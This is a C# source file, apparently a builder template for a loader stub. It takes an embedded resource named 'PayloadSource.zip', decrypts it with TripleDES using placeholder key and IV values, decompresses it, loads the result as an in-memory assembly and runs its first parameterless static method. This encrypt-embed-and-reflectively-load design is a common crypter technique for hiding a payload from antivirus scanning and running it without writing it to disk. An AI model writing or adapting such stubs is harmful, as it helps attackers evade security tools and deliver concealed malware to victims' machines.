using System;
using System.IO;
using System.IO.Compression;
using System.Reflection;
using System.Runtime.InteropServices;
using System.Security.Cryptography;

internal static class PCLoader
{
    private static Assembly pa;
    private static Assembly R(object s, ResolveEventArgs e)
    {
        if (e.Name.Contains("protobuf"))
        {
            if (pa == null)
            {
                using (var st = typeof(PCLoader).Assembly.GetManifestResourceStream("protobuf-net.dll"))
                {
                    byte[] b = new byte[st.Length]; st.Read(b, 0, b.Length);
                    pa = Assembly.Load(b);
                }
            }
            return pa;
        }
        return null;
    }

    [DllImport("user32.dll")]
    private static extern bool SetProcessDPIAware();

    public static void Main()
    {
        try { SetProcessDPIAware(); } catch { }
        AppDomain.CurrentDomain.AssemblyResolve += R;

        byte[] blob;
        using (var st = typeof(PCLoader).Assembly.GetManifestResourceStream("PayloadSource.zip"))
        {
            blob = new byte[st.Length]; st.Read(blob, 0, blob.Length);
        }

        byte[] key = Convert.FromBase64String("__KEY_B64__");
        byte[] iv  = Convert.FromBase64String("__IV_B64__");
        byte[] dec;
        using (var t = TripleDES.Create())
        {
            t.Key = key; t.IV = iv;
            t.Mode = CipherMode.CBC; t.Padding = PaddingMode.PKCS7;
            using (var d = t.CreateDecryptor())
                dec = d.TransformFinalBlock(blob, 0, blob.Length);
        }

        byte[] raw;
        using (var ms = new MemoryStream(dec, 4, dec.Length - 4))
        using (var gz = new GZipStream(ms, CompressionMode.Decompress))
        using (var o  = new MemoryStream())
        {
            byte[] buf = new byte[4096]; int n;
            while ((n = gz.Read(buf, 0, buf.Length)) > 0) o.Write(buf, 0, n);
            raw = o.ToArray();
        }

        Assembly a = Assembly.Load(raw);
        foreach (var tp in a.GetTypes())
        {
            foreach (var m in tp.GetMethods(BindingFlags.Public | BindingFlags.Static | BindingFlags.DeclaredOnly))
            {
                if (m.ReturnType == typeof(void) && m.GetParameters().Length == 0)
                {
                    m.Invoke(null, null);
                    return;
                }
            }
        }
    }
}